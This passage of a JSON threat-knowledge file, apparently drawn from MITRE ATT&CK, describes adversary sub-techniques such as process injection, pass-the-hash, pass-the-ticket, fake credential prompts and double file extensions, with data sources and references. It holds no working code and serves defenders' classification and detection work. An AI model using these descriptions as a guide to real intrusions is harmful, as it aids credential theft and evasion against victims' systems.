"description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.\n\nSome 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.",
"meta": {
"external_id": "T1560.001",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1560/001",
"https://en.wikipedia.org/wiki/List_of_file_signatures",
"https://www.7-zip.org/",
"https://www.rarlab.com/",
"https://www.winzip.com/win/en/"
]
},
"related": [
{
"dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
"type": "subtechnique-of"
}
],
"uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
"value": "Archive via Utility - T1560.001"
},
{
"description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nAdversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)",
"meta": {
"external_id": "T1098.001",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"User Account: User Account Modification"
],
"mitre_platforms": [
"IaaS",
"Azure AD"
],
"refs": [
"https://attack.mitre.org/techniques/T1098/001",
"https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add",
"https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/",
"https://expel.io/blog/finding-evil-in-aws/",
"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
"https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/",
"https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1",
"https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
]
},
"related": [
{
"dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
"type": "subtechnique-of"
}
],
"uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
"value": "Additional Cloud Credentials - T1098.001"
},
{
"description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)",
"meta": {
"external_id": "T1027.004",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1027/004",
"https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/",
"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
]
},
"related": [
{
"dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"type": "subtechnique-of"
}
],
"uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617",
"value": "Compile After Delivery - T1027.004"
},
{
"description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.",
"meta": {
"external_id": "T1074.002",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"File: File Creation"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1074/002",
"https://content.fireeye.com/m-trends/rpt-m-trends-2020"
]
},
"related": [
{
"dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e",
"type": "subtechnique-of"
}
],
"uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0",
"value": "Remote Data Staging - T1074.002"
},
{
"description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.002",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1055/002",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662",
"value": "Portable Executable Injection - T1055.002"
},
{
"description": "Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)",
"meta": {
"external_id": "CAPEC-644",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Active Directory: Active Directory Credential Request",
"Logon Session: Logon Session Creation",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1550/002",
"https://capec.mitre.org/data/definitions/644.html",
"https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
]
},
"related": [
{
"dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
"type": "subtechnique-of"
}
],
"uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e",
"value": "Pass the Hash - T1550.002"
},
{
"description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",
"meta": {
"external_id": "T1560.002",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"File: File Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1560/002",
"https://en.wikipedia.org/wiki/List_of_file_signatures",
"https://github.com/madler/zlib",
"https://libzip.org/",
"https://pypi.org/project/rarfile/"
]
},
"related": [
{
"dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
"type": "subtechnique-of"
}
],
"uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6",
"value": "Archive via Library - T1560.002"
},
{
"description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ",
"meta": {
"external_id": "CAPEC-659",
"kill_chain": [
"mitre-attack:collection",
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"macOS",
"Windows",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1056/002",
"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
"https://capec.mitre.org/data/definitions/659.html",
"https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/",
"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/",
"https://logrhythm.com/blog/do-you-trust-your-computer/",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
"related": [
{
"dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
"type": "subtechnique-of"
}
],
"uuid": "a2029942-0a85-4947-b23c-ca434698171d",
"value": "GUI Input Capture - T1056.002"
},
{
"description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)",
"meta": {
"external_id": "T1036.003",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"File: File Modification",
"Process: Process Metadata"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf",
"https://attack.mitre.org/techniques/T1036/003",
"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf",
"https://lolbas-project.github.io/",
"https://twitter.com/ItsReallyNick/status/1055321652777619457"
]
},
"related": [
{
"dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"type": "subtechnique-of"
}
],
"uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
"value": "Rename System Utilities - T1036.003"
},
{
"description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",
"meta": {
"external_id": "T1037.003",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1037/003",
"https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008"
]
},
"related": [
{
"dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
"type": "subtechnique-of"
}
],
"uuid": "c63a348e-ffc2-486a-b9d9-d7f11ec54d99",
"value": "Network Logon Script - T1037.003"
},
{
"description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.003",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1055/003",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "41d9846c-f6af-4302-a654-24bba2729bc6",
"value": "Thread Execution Hijacking - T1055.003"
},
{
"description": "Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",
"meta": {
"external_id": "CAPEC-645",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Active Directory: Active Directory Credential Request",
"Logon Session: Logon Session Creation",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos",
"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
"https://adsecurity.org/?p=556",
"https://attack.mitre.org/techniques/T1550/003",
"https://capec.mitre.org/data/definitions/645.html",
"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
"https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
]
},
"related": [
{
"dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
"type": "subtechnique-of"
}
],
"uuid": "7b211ac6-c815-4189-93a9-ab415deca926",
"value": "Pass the Ticket - T1550.003"
},
{
"description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",
"meta": {
"external_id": "CAPEC-569",
"kill_chain": [
"mitre-attack:collection",
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1056/003",
"https://capec.mitre.org/data/definitions/569.html",
"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
]
},
"related": [
{
"dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
"type": "subtechnique-of"
}
],
"uuid": "69e5226d-05dc-4f15-95d7-44f5ed78d06e",
"value": "Web Portal Capture - T1056.003"
},
{
"description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
"meta": {
"external_id": "T1053.007",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Container: Container Creation",
"File: File Creation",
"Scheduled Job: Scheduled Job Creation"
],
"mitre_platforms": [
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1053/007",
"https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/",
"https://kubernetes.io/docs/concepts/workloads/controllers/job/",
"https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
]
},
"related": [
{
"dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"type": "subtechnique-of"
}
],
"uuid": "1126cab1-c700-412f-a510-61f4937bb096",
"value": "Container Orchestration Job - T1053.007"
},
{
"description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
"meta": {
"external_id": "T1059.003",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1059/003",
"https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh"
]
},
"related": [
{
"dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"type": "subtechnique-of"
}
],
"uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
"value": "Windows Command Shell - T1059.003"
},
{
"description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1590.003",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1590/003",
"https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019"
]
},
"related": [
{
"dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109",
"type": "subtechnique-of"
}
],
"uuid": "36aa137f-5166-41f8-b2f0-a4cfa1b4133e",
"value": "Network Trust Dependencies - T1590.003"
},
{
"description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
"meta": {
"external_id": "CAPEC-649",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/",
"https://attack.mitre.org/techniques/T1036/006",
"https://capec.mitre.org/data/definitions/649.html"
]
},
"related": [
{
"dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"type": "subtechnique-of"
}
],
"uuid": "e51137a5-1cdc-499e-911a-abaedaa5ac86",
"value": "Space after Filename - T1036.006"
},
{
"description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",
"meta": {
"external_id": "T1036.007",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1036/007",
"https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/",
"https://www.pcmag.com/encyclopedia/term/double-extension",
"https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/"
]
},
"related": [
{
"dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"type": "subtechnique-of"
}
],
"uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
"value": "Double File Extension - T1036.007"
},
{
"description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",
"meta": {
"external_id": "T1608.003",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1608/003",
"https://www.digicert.com/kb/ssl-certificate-installation.htm",
"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
]
},
"related": [
{
"dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0",
"type": "subtechnique-of"
}
],
"uuid": "c071d8c1-3b3a-4f22-9407-ca4e96921069",
"value": "Install Digital Certificate - T1608.003"
},
{
"description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.004",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1055/004",
"https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows",
"https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx",
"https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/",
